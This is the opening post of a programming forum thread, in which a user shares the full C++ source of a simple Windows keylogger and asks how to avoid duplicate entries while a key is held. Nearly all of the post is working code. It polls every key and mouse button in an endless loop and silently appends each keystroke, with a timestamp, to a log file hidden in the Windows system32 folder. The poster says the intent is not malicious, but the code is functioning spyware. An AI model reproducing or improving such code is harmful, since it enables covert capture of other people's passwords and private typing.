CodeGuru Home VC++ / MFC / C++ .NET / C# Visual Basic VB Forums Developer.com
Results 1 to 15 of 17

Threaded View

  1. #1
    Join Date
    Oct 2008
    Posts
    68

    Unhappy Simple Keylogger

    I just wanted to make a simple keylogger just to see if I can make it (NOT for malicious reasons, just to how hard it is). I got the whole find-pressed-key, export-to-file thing down. Only problem: It logs you constantly, meaning by holding the 'a' key down for a second generates about 5 megs of 'a' in the log file. I can't use Sleep(i) because when you type faster or slower, it will result in either 5 or 10 lines of 'a'. (if I set i to 500, for example, then when I am typing fast, it will only register a few keys, not all of them, but when I type slow, it will register more than one of the same key) I don't want to use a hook. How can I ask it to log a key only once when it is pressed, but still be able to log 2 occurrences of the key if it was pressed twice?

    Code:
    #include <windows.h>
    #include <winuser.h>
    #include <fstream.h>
    #include <time.h>
    #include <stdio.h>
    #include <cstdio>
    #define VK_0 0x30
    #define VK_1 0x31
    #define VK_2 0x32
    #define VK_3 0x33
    #define VK_4 0x34
    #define VK_5 0x35
    #define VK_6 0x36
    #define VK_7 0x37
    #define VK_8 0x38
    #define VK_9 0x39
    #define VK_A 0x41
    #define VK_B 0x42
    #define VK_C 0x43
    #define VK_D 0x44
    #define VK_E 0x45
    #define VK_F 0x46
    #define VK_G 0x47
    #define VK_H 0x48
    #define VK_I 0x49
    #define VK_J 0x4A
    #define VK_K 0x4B
    #define VK_L 0x4C
    #define VK_M 0x4D
    #define VK_N 0x4E
    #define VK_O 0x4F
    #define VK_P 0x50
    #define VK_Q 0x51
    #define VK_R 0x52
    #define VK_S 0x53
    #define VK_T 0x54
    #define VK_U 0x55
    #define VK_V 0x56
    #define VK_W 0x57
    #define VK_X 0x58
    #define VK_Y 0x59
    #define VK_Z 0x5A
    #define VK_OEM_PLUS 0xBB
    #define VK_OEM_MINUS 0xBD
    #define VK_OEM_COMMA 0xBC
    #define VK_OEM_PERIOD 0xBE
    using namespace std;
    
    int main(){
        time_t rawtime;
        struct tm * timeinfo;
        time ( &rawtime );
        timeinfo = localtime ( &rawtime );
        start: 
        ofstream log;
        log.open ("C:\\windows\\system32\\log.txt", ios::out | ios::ate | ios::app);
        log << asctime (timeinfo);
        for(;;){
        if(GetAsyncKeyState(VK_0)||GetAsyncKeyState(VK_NUMPAD0))
        {log <<"0";}
        else if(GetAsyncKeyState(VK_1)||GetAsyncKeyState(VK_NUMPAD1))
        {log <<"1";}
        else if(GetAsyncKeyState(VK_2)||GetAsyncKeyState(VK_NUMPAD2))
        {log <<"2";}
        else if(GetAsyncKeyState(VK_3)||GetAsyncKeyState(VK_NUMPAD3))
        {log <<"3";}
        else if(GetAsyncKeyState(VK_4)||GetAsyncKeyState(VK_NUMPAD4))
        {log <<"4";}
        else if(GetAsyncKeyState(VK_5)||GetAsyncKeyState(VK_NUMPAD5))
        {log <<"5";}
        else if(GetAsyncKeyState(VK_6)||GetAsyncKeyState(VK_NUMPAD6))
        {log <<"6";}
        else if(GetAsyncKeyState(VK_7)||GetAsyncKeyState(VK_NUMPAD7))
        {log <<"7";}
        else if(GetAsyncKeyState(VK_8)||GetAsyncKeyState(VK_NUMPAD8))
        {log <<"8";}
        else if(GetAsyncKeyState(VK_9)||GetAsyncKeyState(VK_NUMPAD9))
        {log <<"9";}
        else if(GetAsyncKeyState(VK_A))
        {log <<"a";}
        else if(GetAsyncKeyState(VK_B))
        {log <<"b";}
        else if(GetAsyncKeyState(VK_C))
        {log <<"c";}
        else if(GetAsyncKeyState(VK_D))
        {log <<"d";}
        else if(GetAsyncKeyState(VK_E))
        {log <<"e";}
        else if(GetAsyncKeyState(VK_F))
        {log <<"f";}
        else if(GetAsyncKeyState(VK_G))
        {log <<"g";}
        else if(GetAsyncKeyState(VK_H))
        {log <<"h";}
        else if(GetAsyncKeyState(VK_I))
        {log <<"i";}
        else if(GetAsyncKeyState(VK_J))
        {log <<"j";}
        else if(GetAsyncKeyState(VK_K))
        {log <<"k";}
        else if(GetAsyncKeyState(VK_L))
        {log <<"l";}
        else if(GetAsyncKeyState(VK_M))
        {log <<"m";}
        else if(GetAsyncKeyState(VK_N))
        {log <<"n";}
        else if(GetAsyncKeyState(VK_O))
        {log <<"o";}
        else if(GetAsyncKeyState(VK_P))
        {log <<"p";}
        else if(GetAsyncKeyState(VK_Q))
        {log <<"q";}
        else if(GetAsyncKeyState(VK_R))
        {log <<"r";}
        else if(GetAsyncKeyState(VK_S))
        {log <<"s";}
        else if(GetAsyncKeyState(VK_T))
        {log <<"t";}
        else if(GetAsyncKeyState(VK_U))
        {log <<"u";}
        else if(GetAsyncKeyState(VK_V))
        {log <<"v";}
        else if(GetAsyncKeyState(VK_W))
        {log <<"w";}
        else if(GetAsyncKeyState(VK_X))
        {log <<"x";}
        else if(GetAsyncKeyState(VK_Y))
        {log <<"y";}
        else if(GetAsyncKeyState(VK_Z))
        {log <<"z";}
        else if(GetAsyncKeyState(VK_LBUTTON))
        {log <<"[LBUTTON]";}
        else if(GetAsyncKeyState(VK_RBUTTON))
        {log <<"[RBUTTON]";}
        else if(GetAsyncKeyState(VK_CANCEL))
        {log <<"[CANCEL]";}
        else if(GetAsyncKeyState(VK_MBUTTON))
        {log <<"[MBUTTON]";}
        else if(GetAsyncKeyState(VK_BACK))
        {log <<"[BACKSPACE]";}
        else if(GetAsyncKeyState(VK_TAB))
        {log <<"[TAB]";}
        else if(GetAsyncKeyState(VK_CLEAR))
        {log <<"[CLEAR]";}
        else if(GetAsyncKeyState(VK_RETURN))
        {log <<"[RETURN]";}
        else if(GetAsyncKeyState(VK_SHIFT))
        {log <<"[SHIFT]";}
        else if(GetAsyncKeyState(VK_CONTROL))
        {log <<"[CONTROL]";}
        else if(GetAsyncKeyState(VK_MENU))
        {log <<"[MENU]";}
        else if(GetAsyncKeyState(VK_PAUSE))
        {log <<"[PAUSE]";}
        else if(GetAsyncKeyState(VK_CAPITAL))
        {log <<"[CAPITAL]";}
        else if(GetAsyncKeyState(VK_ESCAPE))
        {log <<"[ESCAPE]";}
        else if(GetAsyncKeyState(VK_SPACE))
        {log <<"[SPACE]";}
        else if(GetAsyncKeyState(VK_PRIOR))
        {log <<"[PRIOR]";}
        else if(GetAsyncKeyState(VK_NEXT))
        {log <<"[NEXT]";}
        else if(GetAsyncKeyState(VK_END))
        {log <<"[END]";}
        else if(GetAsyncKeyState(VK_HOME))
        {log <<"[HOME]";}
        else if(GetAsyncKeyState(VK_LEFT))
        {log <<"[LEFT]";}
        else if(GetAsyncKeyState(VK_UP))
        {log <<"[UP]";}
        else if(GetAsyncKeyState(VK_RIGHT))
        {log <<"[RIGHT]";}
        else if(GetAsyncKeyState(VK_DOWN))
        {log <<"[DOWN]";}
        else if(GetAsyncKeyState(VK_SELECT))
        {log <<"[SELECT]";}
        else if(GetAsyncKeyState(VK_PRINT))
        {log <<"[PRINT]";}
        else if(GetAsyncKeyState(VK_EXECUTE))
        {log <<"[EXECUTE]";}
        else if(GetAsyncKeyState(VK_SNAPSHOT))
        {log <<"[PRINTSCREEN]";}
        else if(GetAsyncKeyState(VK_INSERT))
        {log <<"[INSERT]";}
        else if(GetAsyncKeyState(VK_DELETE))
        {log <<"[DELETE]";}
        else if(GetAsyncKeyState(VK_HELP))
        {log <<"[HELP]";}
        else if(GetAsyncKeyState(VK_MULTIPLY))
        {log <<"*";}
        else if(GetAsyncKeyState(VK_ADD))
        {log <<"+";}
        else if(GetAsyncKeyState(VK_SEPARATOR))
        {log <<"|";}
        else if(GetAsyncKeyState(VK_SUBTRACT))
        {log <<"-";}
        else if(GetAsyncKeyState(VK_DECIMAL))
        {log <<".";}
        else if(GetAsyncKeyState(VK_DIVIDE))
        {log <<"/";}
        else if(GetAsyncKeyState(VK_F1))
        {log <<"[F1]";}
        else if(GetAsyncKeyState(VK_F2))
        {log <<"[F2]";}
        else if(GetAsyncKeyState(VK_F3))
        {log <<"[F3]";}
        else if(GetAsyncKeyState(VK_F4))
        {log <<"[F4]";}
        else if(GetAsyncKeyState(VK_F5))
        {log <<"[F5]";}
        else if(GetAsyncKeyState(VK_F6))
        {log <<"[F6]";}
        else if(GetAsyncKeyState(VK_F7))
        {log <<"[F7]";}
        else if(GetAsyncKeyState(VK_F8))
        {log <<"[F8]";}
        else if(GetAsyncKeyState(VK_F9))
        {log <<"[F9]";}
        else if(GetAsyncKeyState(VK_F10))
        {log <<"[F10]";}
        else if(GetAsyncKeyState(VK_F11))
        {log <<"[F11]";}
        else if(GetAsyncKeyState(VK_F12))
        {log <<"[F12]";}
        else if(GetAsyncKeyState(VK_NUMLOCK))
        {log <<"[NUMLOCK]";}
        else if(GetAsyncKeyState(VK_SCROLL))
        {log <<"[SCROLL]";}
        else if(GetAsyncKeyState(VK_LSHIFT))
        {log <<"[VK_LSHIFT]";}
        else if(GetAsyncKeyState(VK_RSHIFT))
        {log <<"[RSHIFT]";}
        else if(GetAsyncKeyState(VK_LCONTROL))
        {log <<"[LCONTROL]";}
        else if(GetAsyncKeyState(VK_RCONTROL))
        {log <<"[RCONTROL]";}
        else if(GetAsyncKeyState(VK_LMENU))
        {log <<"[LALT]";}
        else if(GetAsyncKeyState(VK_RMENU))
        {log <<"[RALT]";}
        else if(GetAsyncKeyState(VK_LWIN ))
        {log <<"[LWIN]";}
        else if(GetAsyncKeyState(VK_RWIN ))
        {log <<"[RWIN]";}
        else if(GetAsyncKeyState(VK_OEM_1))
        {log <<"[\';\'/\':\']";}
        else if(GetAsyncKeyState(VK_OEM_PLUS))
        {log <<"+";}
        else if(GetAsyncKeyState(VK_OEM_COMMA))
        {log <<",";}
        else if(GetAsyncKeyState(VK_OEM_MINUS))
        {log <<"-";}
        else if(GetAsyncKeyState(VK_OEM_PERIOD))
        {log <<".";}
        else if(GetAsyncKeyState(VK_OEM_2))
        {log <<"[\'/\'/\'\?\']";}
        else if(GetAsyncKeyState(VK_OEM_3))
        {log <<"[\'`\'/\'~\']";}
        else if(GetAsyncKeyState(VK_OEM_4))
        {log <<"[\'{\'/\'[\']";}
        else if(GetAsyncKeyState(VK_OEM_5))
        {log <<"[\'\\\'/\'|\']";}
        else if(GetAsyncKeyState(VK_OEM_6))
        {log <<"[\']\'/\'}\']";}
        else if(GetAsyncKeyState(VK_OEM_7))
        {log <<"[\'/\"]";}
        }
        log.close(); 
        goto start;
    }
    Last edited by shadowx360; December 14th, 2008 at 05:11 PM.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  





Click Here to Expand Forum to Full Width

Featured